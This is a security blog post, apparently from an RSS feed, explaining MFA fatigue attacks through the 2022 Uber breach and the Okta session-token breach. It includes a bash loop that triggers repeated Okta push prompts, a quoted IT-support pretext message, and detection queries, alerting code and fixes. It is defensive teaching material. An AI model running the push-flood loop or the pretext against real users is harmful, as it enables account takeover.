href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fkubernetes-container-escape-attack-paths%2F&#038;title=Kubernetes%20Container%20Escape%3A%20Attack%20Paths%20and%20eBPF%20Detection" data-a2a-url="https://linuxcent.com/kubernetes-container-escape-attack-paths/" data-a2a-title="Kubernetes Container Escape: Attack Paths and eBPF Detection"></a></p><p>The post <a href="https://linuxcent.com/kubernetes-container-escape-attack-paths/">Kubernetes Container Escape: Attack Paths and eBPF Detection</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/kubernetes-container-escape-attack-paths/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1864</post-id>	</item>
		<item>
		<title>MFA Fatigue Attacks: How Uber Got Breached and How to Stop It</title>
		<link>https://linuxcent.com/mfa-fatigue-attack-uber-okta/</link>
					<comments>https://linuxcent.com/mfa-fatigue-attack-uber-okta/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Wed, 10 Jun 2026 02:00:00 +0000</pubDate>
				<category><![CDATA[Purple Team]]></category>
		<category><![CDATA[Identity Security]]></category>
		<category><![CDATA[MFA]]></category>
		<category><![CDATA[MFA Fatigue]]></category>
		<category><![CDATA[Okta]]></category>
		<category><![CDATA[OWASP]]></category>
		<category><![CDATA[Uber Breach]]></category>
		<guid isPermaLink="false">https://linuxcent.com/?p=1855</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 10</span> <span class="rt-label rt-postfix">minutes</span></span>MFA fatigue attacks exploit push-based MFA UX — not weak passwords. Anatomy of the Uber and Okta breaches and why hardware keys are the only structural fix.</p>
<p>The post <a href="https://linuxcent.com/mfa-fatigue-attack-uber-okta/">MFA Fatigue Attacks: How Uber Got Breached and How to Stop It</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 10</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><a href="/what-is-purple-team-security/">What is purple team security</a> → <a href="/owasp-top-10-cloud-infrastructure/">OWASP Top 10 mapped to cloud infrastructure</a> → <a href="/cloud-security-breaches-2020-2025/">Cloud security breaches 2020–2025</a> → <a href="/broken-access-control-aws/">Broken access control in AWS</a> → <strong>MFA fatigue attacks</strong></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li>An <strong>MFA fatigue attack</strong> exploits push-notification MFA (Duo, Okta Verify, Microsoft Authenticator) by flooding a user with push requests until they accept one — either out of exhaustion or after social engineering</li>
<li>Uber (September 2022): contractor credentials purchased on a criminal marketplace → repeated Duo push notifications → WhatsApp social engineering → push accepted → admin PAM credentials found on internal file share → full access to AWS, GCP, Slack, HackerOne</li>
<li>The attack works because push MFA creates a UX habit: &#8220;tap accept&#8221; is a trained response, not a decision</li>
<li>Detection: multiple MFA failures followed by a single success in a short window — Okta System Log, Azure AD Sign-in Log, AWS CloudTrail</li>
<li>The structural fix is replacing push MFA with phishing-resistant FIDO2 hardware keys — not security awareness training, not more push notifications, not &#8220;number matching&#8221; alone</li>
<li>Okta (October 2023): support system breach exposed session tokens → attackers bypassed MFA entirely by using stolen session context</li>
</ul>
<hr />
<blockquote>
<p><strong>OWASP Mapping:</strong> A07 Identification and Authentication Failures. The Uber breach is the defining infrastructure example. Okta demonstrates session token theft as a related A07 variant.</p>
</blockquote>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<pre><code class="" data-line="">┌─────────────────────────────────────────────────────────────────────┐
│                    MFA FATIGUE ATTACK ANATOMY                       │
│                                                                     │
│   STEP 1: OBTAIN CREDENTIALS                                        │
│   Attacker ──── phish / buy on market ──────&#x25b6; username + password  │
│                                                                     │
│   STEP 2: TRIGGER MFA FLOOD                                         │
│   Attacker ──── repeated login attempts ────&#x25b6; Push #1 → User: NO   │
│                                               Push #2 → User: NO   │
│                                               Push #3 → User: NO   │
│                                               Push #4 → User: ???   │
│                                                                     │
│   STEP 3: SOCIAL ENGINEERING LAYER                                  │
│   Attacker ──── &quot;Hi, I&#039;m from IT support.                           │
│                  Please accept the next push.&quot;                      │
│                                               Push #4 → User: YES  │
│                                                                     │
│   STEP 4: ACCESS                                                    │
│   Attacker ──── authenticated session ──────&#x25b6; Internal network      │
│                                               Enumerate shares      │
│                                               Find next credential  │
│                                                                     │
│   ═══════════════════════════════════════════════════════           │
│   WHY TRAINING DOESN&#039;T HELP:                                        │
│   Push MFA trains users to tap accept. The attacker exploits        │
│   the trained behavior. Education competes with habit.              │
│                                                                     │
│   WHY HARDWARE KEYS DO:                                             │
│   FIDO2 requires physical presence. WhatsApp message                │
│   cannot accept a hardware key challenge.                           │
└─────────────────────────────────────────────────────────────────────┘
</code></pre>
<p>An <strong>MFA fatigue attack</strong> is how you bypass multi-factor authentication without breaking encryption or stealing the MFA seed — you exploit the user&#8217;s psychology and the UX of push-notification systems. The attacker knows the password. The only thing standing between them and access is the user&#8217;s willingness to tap &#8220;deny&#8221; indefinitely.</p>
<hr />
<h2 id="the-uber-breach-anatomy-minute-by-minute">The Uber Breach: Anatomy Minute by Minute</h2>
<p>September 15, 2022. The attacker&#8217;s capabilities: a purchased credential set for an Uber contractor account, a phone number, and patience.</p>
<p><strong>The credential acquisition:</strong> Uber contractor credentials were available on criminal marketplaces. The attacker obtained a valid username and password for an Uber contractor&#8217;s Uber corporate account.</p>
<p><strong>The MFA flood:</strong></p>
<p>The contractor&#8217;s account had Duo push-based MFA enrolled. The attacker initiated login attempts repeatedly, triggering a sequence of Duo push notifications to the contractor&#8217;s phone. The contractor rejected three or four of them. At this point, most attacks would stop — but the attacker added a social engineering layer.</p>
<p><strong>The WhatsApp message:</strong></p>
<p>The attacker sent a WhatsApp message to the contractor&#8217;s number, claiming to be from Uber IT support:</p>
<blockquote>
<p>&#8220;Hi, this is the Uber IT support team. We&#8217;re seeing some issues with your account and need you to approve the next Duo notification to verify your identity.&#8221;</p>
</blockquote>
<p>The contractor accepted the next push notification.</p>
<p><strong>Post-authentication enumeration:</strong></p>
<p>With an authenticated session, the attacker accessed Uber&#8217;s internal network. On an internal network share accessible to contractors, they found a PowerShell script. In that script: hardcoded Thycotic admin credentials. Thycotic is a Privileged Access Management (PAM) system — it stores credentials for privileged accounts across an organization.</p>
<p><strong>The blast radius:</strong></p>
<p>With Thycotic admin access, the attacker retrieved credentials for:<br />
&#8211; AWS IAM accounts<br />
&#8211; GCP service accounts<br />
&#8211; Google Workspace admin<br />
&#8211; VMware vSphere<br />
&#8211; Slack workspace admin<br />
&#8211; HackerOne bug bounty program admin (including details of open security reports)</p>
<p>The entire Uber infrastructure was accessible from one contractor&#8217;s push notification acceptance.</p>
<p><strong>What Uber&#8217;s logs showed:</strong></p>
<pre><code class="" data-line="">2022-09-15T02:17:00Z  [Duo] user=contractor@uber.com  action=push_sent  result=rejected
2022-09-15T02:17:45Z  [Duo] user=contractor@uber.com  action=push_sent  result=rejected
2022-09-15T02:18:30Z  [Duo] user=contractor@uber.com  action=push_sent  result=rejected
2022-09-15T02:19:15Z  [Duo] user=contractor@uber.com  action=push_sent  result=rejected
2022-09-15T02:22:00Z  [Duo] user=contractor@uber.com  action=push_sent  result=approved
2022-09-15T02:22:05Z  [VPN] user=contractor@uber.com  connection=established  ip=&lt;attacker&gt;
</code></pre>
<p>Four rejections followed by one approval in a five-minute window. This is a detectable pattern — but only if someone is looking for it.</p>
<hr />
<h2 id="red-phase-simulating-mfa-fatigue">Red Phase: Simulating MFA Fatigue</h2>
<h3 id="what-the-attack-looks-like-in-tooling">What the Attack Looks Like in Tooling</h3>
<p>MFA fatigue attacks are conducted manually — an attacker with valid credentials and knowledge of which MFA system the target uses. No special tooling is required for the attack itself. What can be simulated:</p>
<p><strong>Option 1: Repeated legitimate login attempts (test account only)</strong></p>
<pre><code class="" data-line=""># DO NOT run against production accounts or accounts you don&#039;t own

# Using Okta API to authenticate (test environment only)
TEST_USERNAME=&quot;testuser@yourdomain.com&quot;
TEST_PASSWORD=&quot;TestPassword123!&quot;
OKTA_DOMAIN=&quot;your-org.okta.com&quot;

for i in {1..5}; do
  echo &quot;Attempt $i at $(date +%T)&quot;
  response=$(curl -s -X POST \
    &quot;https://${OKTA_DOMAIN}/api/v1/authn&quot; \
    -H &quot;Content-Type: application/json&quot; \
    -d &quot;{\&quot;username\&quot;: \&quot;${TEST_USERNAME}\&quot;, \&quot;password\&quot;: \&quot;${TEST_PASSWORD}\&quot;}&quot;)

  status=$(echo &quot;$response&quot; | jq -r &#039;.status&#039;)
  echo &quot;  Status: $status&quot;

  if [ &quot;$status&quot; = &quot;MFA_CHALLENGE&quot; ]; then
    state_token=$(echo &quot;$response&quot; | jq -r &#039;.stateToken&#039;)
    factor_id=$(echo &quot;$response&quot; | jq -r &#039;._embedded.factors[] | select(.factorType == &quot;push&quot;) | .id&#039;)
    echo &quot;  Factor ID: $factor_id (push notification triggered)&quot;

    # In a real attack, the attacker would poll for the MFA response:
    echo &quot;  Waiting 10 seconds for user to respond...&quot;
    sleep 10
  fi

  sleep 30  # Wait between attempts to avoid rate limiting
done
</code></pre>
<p><strong>Option 2: Tabletop exercise (no credentials required)</strong></p>
<p>For organizations that cannot run live credential tests, the tabletop simulation maps the attack against your specific IdP logs. Pull 30 days of authentication logs and look for the pattern:</p>
<pre><code class="" data-line=""># Okta System Log: find users with multiple MFA failures followed by success
curl -H &quot;Authorization: SSWS ${OKTA_API_TOKEN}&quot; \
  &quot;https://your-org.okta.com/api/v1/logs?filter=eventType+eq+\&quot;user.authentication.auth_via_mfa\&quot;&amp;limit=1000&quot; | \
  jq &#039;
    group_by(.actor.id) |
    map({
      user: .[0].actor.displayName,
      total: length,
      failures: [.[] | select(.outcome.result == &quot;FAILURE&quot;)] | length,
      successes: [.[] | select(.outcome.result == &quot;SUCCESS&quot;)] | length
    }) |
    sort_by(.failures) |
    reverse |
    .[0:20]
  &#039;
</code></pre>
<p>Users with high failure counts followed by eventual success are the fatigue attack pattern. Some will be legitimate (user locked themselves out, then called IT). The ones to investigate are those where the failure-to-success sequence happened in a short window (under 30 minutes) and from an unusual IP.</p>
<hr />
<h2 id="blue-phase-detection-across-identity-providers">Blue Phase: Detection Across Identity Providers</h2>
<h3 id="okta-push-notification-flood">Okta: Push Notification Flood</h3>
<pre><code class="" data-line=""># Okta System Log — detect repeated push failures from same user
# Query for: &gt;3 push failures within 10 minutes for same user
curl -H &quot;Authorization: SSWS ${OKTA_API_TOKEN}&quot; \
  &quot;https://your-org.okta.com/api/v1/logs?filter=eventType+eq+\&quot;user.authentication.auth_via_mfa\&quot;+and+outcome.result+eq+\&quot;FAILURE\&quot;&amp;since=$(date -u -d &#039;24 hours ago&#039; +%Y-%m-%dT%H:%M:%SZ)&quot; | \
  jq &#039;
    group_by(.actor.id, (.published[0:16])) |
    map(select(length &gt;= 3)) |
    map({
      user: .[0].actor.displayName,
      window: .[0].published[0:16],
      failure_count: length,
      ips: [.[].client.ipAddress] | unique
    })
  &#039;
</code></pre>
<h3 id="azure-ad-conditional-access-logs">Azure AD: Conditional Access Logs</h3>
<pre><code class="" data-line=""># Azure AD: MFA push denial flood detection (using Azure CLI)
az monitor activity-log list \
  --start-time &quot;$(date -u -d &#039;24 hours ago&#039; +%Y-%m-%dT%H:%M:%SZ)&quot; \
  --query &quot;[?contains(operationName.value, &#039;MFA&#039;)].{user:caller,time:eventTimestamp,result:status.value}&quot; \
  --output table
</code></pre>
<p>In Microsoft Sentinel, the detection rule for MFA fatigue:</p>
<pre><code class="" data-line="">// Azure AD MFA Fatigue Detection — Sentinel KQL
SigninLogs
| where TimeGenerated &gt; ago(24h)
| where AuthenticationRequirement == &quot;multiFactorAuthentication&quot;
| where ResultType != &quot;0&quot;  // Non-success
| summarize
    FailureCount = count(),
    SuccessCount = countif(ResultType == &quot;0&quot;),
    IPs = make_set(IPAddress),
    StartTime = min(TimeGenerated),
    EndTime = max(TimeGenerated)
    by UserPrincipalName, bin(TimeGenerated, 10m)
| where FailureCount &gt;= 3
| where SuccessCount &gt;= 1
| where datetime_diff(&#039;minute&#039;, EndTime, StartTime) &lt;= 30
| project UserPrincipalName, FailureCount, SuccessCount, IPs, StartTime, EndTime
| order by FailureCount desc
</code></pre>
<h3 id="aws-cloudtrail-console-session-after-mfa-flood">AWS CloudTrail: Console Session After MFA Flood</h3>
<p>If your organization uses AWS SSO (IAM Identity Center) with an external IdP, the CloudTrail event that matters is the console login event immediately following the MFA success:</p>
<pre><code class="" data-line=""># Find AWS console login events from unusual IPs
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=ConsoleLogin \
  --start-time &quot;$(date -d &#039;24 hours ago&#039; --iso-8601=seconds)&quot; \
  --query &#039;Events[].{Time:EventTime,User:Username,IP:CloudTrailEvent}&#039; \
  --output json | \
  jq &#039;.[] | {
    time: .Time,
    user: .User,
    ip: (.IP | fromjson | .sourceIPAddress),
    mfa: (.IP | fromjson | .additionalEventData.MFAUsed)
  }&#039;
</code></pre>
<h3 id="what-a-guardduty-alert-looks-like-for-this-attack">What a GuardDuty Alert Looks Like for This Attack</h3>
<p>GuardDuty does not generate a specific finding for MFA fatigue (it does not have visibility into IdP logs). What it may catch downstream:</p>
<ul>
<li><code class="" data-line="">UnauthorizedAccess:IAMUser/ConsoleLoginSuccess.B</code> — console login from unusual geographic location or Tor exit node</li>
<li><code class="" data-line="">Discovery:IAMUser/AnomalousBehavior</code> — if the attacker begins enumerating IAM after console access</li>
</ul>
<p>The gap: GuardDuty&#8217;s behavioral analysis is per-account. If the attacker logs in using valid credentials and MFA, GuardDuty may not flag the initial access — only downstream actions that deviate from baseline.</p>
<hr />
<h2 id="purple-phase-the-structural-fix">Purple Phase: The Structural Fix</h2>
<h3 id="fix-1-replace-push-mfa-with-fido2-hardware-keys-for-tier-0-accounts">Fix 1: Replace Push MFA with FIDO2 Hardware Keys (for Tier-0 Accounts)</h3>
<p>This is the only structural fix. MFA fatigue attacks work because push notifications can be approved by a human who is socially engineered. FIDO2 hardware keys (YubiKey, Google Titan, etc.) require physical possession of the key and a user gesture (touch). A WhatsApp message cannot substitute for physical key presence.</p>
<pre><code class="" data-line=""># Okta: Require hardware key MFA for admin accounts
# (done via Okta Admin Console → Security → Authentication Policies)
# CLI example using Okta API:

# Create a new authentication policy requiring hardware authenticator
curl -X POST \
  &quot;https://your-org.okta.com/api/v1/policies&quot; \
  -H &quot;Authorization: SSWS ${OKTA_API_TOKEN}&quot; \
  -H &quot;Content-Type: application/json&quot; \
  -d &#039;{
    &quot;name&quot;: &quot;Admin Hardware Key Policy&quot;,
    &quot;type&quot;: &quot;ACCESS_POLICY&quot;,
    &quot;status&quot;: &quot;ACTIVE&quot;,
    &quot;description&quot;: &quot;Requires FIDO2 hardware key for admin access&quot;
  }&#039;
</code></pre>
<p><strong>Phasing hardware keys across an organization:</strong></p>
<table>
<thead>
<tr>
<th>Tier</th>
<th>Examples</th>
<th>Timeline</th>
</tr>
</thead>
<tbody>
<tr>
<td>Tier 0 — immediate</td>
<td>Cloud admin, IAM admin, Okta admin, DNS admin</td>
<td>Week 1</td>
</tr>
<tr>
<td>Tier 1 — 30 days</td>
<td>All engineers with production access</td>
<td>Month 1</td>
</tr>
<tr>
<td>Tier 2 — 90 days</td>
<td>All employees with SSO access</td>
<td>Month 3</td>
</tr>
<tr>
<td>Contractors</td>
<td>Scope-limited access, enforce at boundary</td>
<td>Immediate</td>
</tr>
</tbody>
</table>
<h3 id="fix-2-number-matching-intermediate-mitigation">Fix 2: Number Matching (Intermediate Mitigation)</h3>
<p>If hardware keys cannot be deployed immediately, number matching significantly reduces MFA fatigue effectiveness. Instead of a simple &#8220;approve/deny&#8221; push, the user must match a number shown on the login screen to a number shown in the authenticator app. This breaks the fatigue pattern — the attacker cannot trigger an approval without the user actively entering the correct number.</p>
<pre><code class="" data-line=""># Duo: Enable number matching
# Duo Admin Console → Policies → Duo Push Number Matching: Required

# Microsoft Authenticator: Enable number matching
# Azure AD → Security → Authentication methods → Microsoft Authenticator
# Enable: &quot;Require number matching for push notifications&quot;

# Okta Verify: Enable TOTP-bound push
# Okta Admin → Security → Multifactor → Okta Verify → Enable &quot;Number Challenge&quot;
</code></pre>
<h3 id="fix-3-detect-and-block-automated-response-to-fatigue-pattern">Fix 3: Detect and Block — Automated Response to Fatigue Pattern</h3>
<pre><code class="" data-line="">#!/usr/bin/env python3
# Purple Team EP05 — MFA Fatigue Auto-Response
# Monitors Okta System Log; suspends user on fatigue pattern detection
# Run as a Lambda function or scheduled script in your SIEM pipeline

import boto3
import requests
import json
from datetime import datetime, timedelta

OKTA_DOMAIN = &quot;your-org.okta.com&quot;
OKTA_TOKEN = &quot;your-okta-api-token&quot;  # use Secrets Manager in production
SNS_TOPIC_ARN = &quot;arn:aws:sns:us-east-1:123456789012:security-alerts&quot;

def get_recent_mfa_events(hours=1):
    since = (datetime.utcnow() - timedelta(hours=hours)).strftime(&quot;%Y-%m-%dT%H:%M:%SZ&quot;)
    url = f&quot;https://{OKTA_DOMAIN}/api/v1/logs&quot;
    params = {
        &quot;filter&quot;: &#039;eventType eq &quot;user.authentication.auth_via_mfa&quot;&#039;,
        &quot;since&quot;: since,
        &quot;limit&quot;: 1000
    }
    headers = {&quot;Authorization&quot;: f&quot;SSWS {OKTA_TOKEN}&quot;}
    response = requests.get(url, params=params, headers=headers)
    return response.json()

def detect_fatigue_pattern(events, failure_threshold=3, window_minutes=10):
    user_events = {}
    for event in events:
        user_id = event[&quot;actor&quot;][&quot;id&quot;]
        user_name = event[&quot;actor&quot;][&quot;displayName&quot;]
        result = event[&quot;outcome&quot;][&quot;result&quot;]
        timestamp = event[&quot;published&quot;]

        if user_id not in user_events:
            user_events[user_id] = {&quot;name&quot;: user_name, &quot;events&quot;: []}
        user_events[user_id][&quot;events&quot;].append({&quot;result&quot;: result, &quot;time&quot;: timestamp})

    fatigue_users = []
    for user_id, data in user_events.items():
        events_sorted = sorted(data[&quot;events&quot;], key=lambda x: x[&quot;time&quot;])
        failures = [e for e in events_sorted if e[&quot;result&quot;] == &quot;FAILURE&quot;]

        if len(failures) &gt;= failure_threshold:
            # Check if a success followed the failures
            last_failure_time = failures[-1][&quot;time&quot;]
            successes_after = [
                e for e in events_sorted
                if e[&quot;result&quot;] == &quot;SUCCESS&quot; and e[&quot;time&quot;] &gt; last_failure_time
            ]
            if successes_after:
                fatigue_users.append({
                    &quot;user_id&quot;: user_id,
                    &quot;user_name&quot;: data[&quot;name&quot;],
                    &quot;failure_count&quot;: len(failures),
                    &quot;success_after_failures&quot;: True
                })

    return fatigue_users

def alert_security_team(fatigue_users):
    sns = boto3.client(&quot;sns&quot;)
    message = f&quot;MFA FATIGUE ALERT — {len(fatigue_users)} user(s) detected:\n&quot;
    for user in fatigue_users:
        message += f&quot;  - {user[&#039;user_name&#039;]}: {user[&#039;failure_count&#039;]} failures then success\n&quot;

    sns.publish(
        TopicArn=SNS_TOPIC_ARN,
        Subject=&quot;Purple Team: MFA Fatigue Attack Detected&quot;,
        Message=message
    )

def lambda_handler(event, context):
    events = get_recent_mfa_events(hours=1)
    fatigue_users = detect_fatigue_pattern(events)
    if fatigue_users:
        alert_security_team(fatigue_users)
    return {&quot;fatigue_users_detected&quot;: len(fatigue_users)}
</code></pre>
<h3 id="fix-4-privileged-access-workstations-and-session-recording">Fix 4: Privileged Access Workstations and Session Recording</h3>
<p>The Uber breach succeeded because the attacker found hardcoded credentials on a file share accessible to contractors. The downstream fix after identity:</p>
<pre><code class="" data-line=""># Ensure no scripts or configuration files contain credentials
# Run TruffleHog against your internal repositories and file shares
trufflehog filesystem /path/to/internal/share \
  --json \
  --include-detectors=all \
  2&gt;/dev/null | \
  jq &#039;{file: .SourceMetadata.Data.Filesystem.file, detector: .DetectorName, verified: .Verified}&#039;
</code></pre>
<hr />
<h2 id="run-this-in-your-own-environment-mfa-audit">Run This in Your Own Environment: MFA Audit</h2>
<pre><code class="" data-line="">#!/bin/bash
# Purple Team EP05 — MFA Coverage Audit
# Checks for push-MFA users who are A07 exposure without hardware key enrollment

echo &quot;=== AWS: Console Users Without MFA ===&quot;
aws iam generate-credential-report &gt; /dev/null 2&gt;&amp;1
sleep 5
aws iam get-credential-report --query &#039;Content&#039; --output text | base64 -d | \
  awk -F&#039;,&#039; &#039;NR&gt;1 &amp;&amp; $4==&quot;true&quot; &amp;&amp; $8==&quot;false&quot; {
    print &quot;  USER: &quot; $1 &quot; | Console: &quot; $4 &quot; | MFA: &quot; $8
  }&#039;

echo &quot;&quot;
echo &quot;=== AWS: IAM Users with Long-Lived Access Keys (rotation risk) ===&quot;
aws iam get-credential-report --query &#039;Content&#039; --output text | base64 -d | \
  awk -F&#039;,&#039; &#039;NR&gt;1 &amp;&amp; $9!=&quot;N/A&quot; {
    cmd = &quot;date -d &quot; $10 &quot; +%s&quot;
    cmd | getline key_date; close(cmd)
    now = systime()
    age_days = int((now - key_date) / 86400)
    if (age_days &gt; 90) print &quot;  USER: &quot; $1 &quot; | KEY AGE: &quot; age_days &quot; days&quot;
  }&#039;

echo &quot;&quot;
echo &quot;=== RECOMMENDATION ===&quot;
echo &quot;  - Any console user without MFA = immediate A07 exposure&quot;
echo &quot;  - For accounts with Okta/Azure AD: run IdP-specific audit above&quot;
echo &quot;  - Hardware FIDO2 keys required for all admin accounts&quot;
</code></pre>
<hr />
<h2 id="common-mistakes-when-responding-to-mfa-fatigue-risk"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Common Mistakes When Responding to MFA Fatigue Risk</h2>
<p><strong>Mandating security training as the primary response.</strong> The Uber contractor was experienced. Training did not fail — the attacker exploited a social engineering vector that training cannot structurally prevent. Hardware keys remove the social engineering surface entirely.</p>
<p><strong>Implementing &#8220;number matching&#8221; and considering MFA fatigue solved.</strong> Number matching makes fatigue attacks harder, not impossible. A sophisticated attacker can relay the number in real time via voice call (&#8220;what number do you see on your screen?&#8221;). It buys time; it does not eliminate the attack class.</p>
<p><strong>Requiring MFA for employees but not contractors.</strong> The Uber breach was a contractor account. Contractor access policies tend to have looser MFA requirements because contractors often resist corporate MDM on personal devices. The solution is to scope contractor access tightly and require hardware key MFA at the access boundary, not push MFA.</p>
<p><strong>Not monitoring for the failure-then-success pattern.</strong> The Okta System Log, Azure AD Sign-in Logs, and Duo Admin Panel all have the data to detect MFA fatigue in real time. Most organizations generate these logs but do not have detection rules for the pattern. The detection is straightforward; the investment is adding the rule to your SIEM.</p>
<p><strong>Forgetting session tokens.</strong> The Okta breach was not MFA fatigue — it was session token theft. An attacker who can steal a valid session token does not need to beat MFA at all. Session token lifetime, storage security, and re-authentication requirements for sensitive operations are separate controls that address this variant.</p>
<hr />
<h2 id="quick-reference">Quick Reference</h2>
<table>
<thead>
<tr>
<th>Attack Variant</th>
<th>Mechanism</th>
<th>Structural Fix</th>
</tr>
</thead>
<tbody>
<tr>
<td>Push notification flood</td>
<td>Attacker initiates logins repeatedly until user accepts</td>
<td>FIDO2 hardware key MFA</td>
</tr>
<tr>
<td>Social engineering layer</td>
<td>Attacker contacts user claiming to be IT support</td>
<td>Hardware key (physical presence required)</td>
</tr>
<tr>
<td>Session token theft</td>
<td>Steal valid session without needing MFA at all</td>
<td>Short session lifetime + re-auth for sensitive ops</td>
</tr>
<tr>
<td>Number matching bypass</td>
<td>Relay number via voice call in real time</td>
<td>Hardware key (no relay possible)</td>
</tr>
<tr>
<td>SIM swap</td>
<td>Port victim&#8217;s phone number to attacker&#8217;s SIM; receive OTP</td>
<td>Hardware key (phone-independent)</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li>An <strong>MFA fatigue attack</strong> exploits push notification UX — training users to tap &#8220;deny&#8221; competes with a trained habit of tapping &#8220;accept&#8221;; hardware keys eliminate the attack surface by requiring physical presence</li>
<li>The Uber breach (2022) was MFA fatigue + hardcoded credentials in a file share — two OWASP categories chained (A07 + A02)</li>
<li>Detection is straightforward: multiple MFA failures followed by a success in a short window — this pattern exists in every IdP&#8217;s logs; adding the detection rule is the work</li>
<li>Number matching is a meaningful intermediate mitigation; it is not a structural fix</li>
<li>Hardware FIDO2 keys are the structural fix — they require physical presence and are phishing-resistant by design</li>
<li>Tier-0 accounts (cloud admin, IAM admin, Okta admin) cannot wait for the phased rollout — hardware keys on day one</li>
<li>Session token theft (CircleCI, Okta support breach) is a related A07 variant: even perfect MFA is bypassed if a valid session token is exfiltrated</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>EP06 covers CI/CD secrets exposure — how pipeline breaches work, why storing credentials in environment variables is structurally dangerous, and how the CircleCI breach exposed secrets that teams thought were safely stored. The structural answer is OIDC workload identity (IAM EP07): short-lived credentials that cannot be exfiltrated because they don&#8217;t exist until the moment they&#8217;re needed.</p>
<p>Get EP06 in your inbox when it publishes → <a href="#subscribe">subscribe at linuxcent.com</a></p>
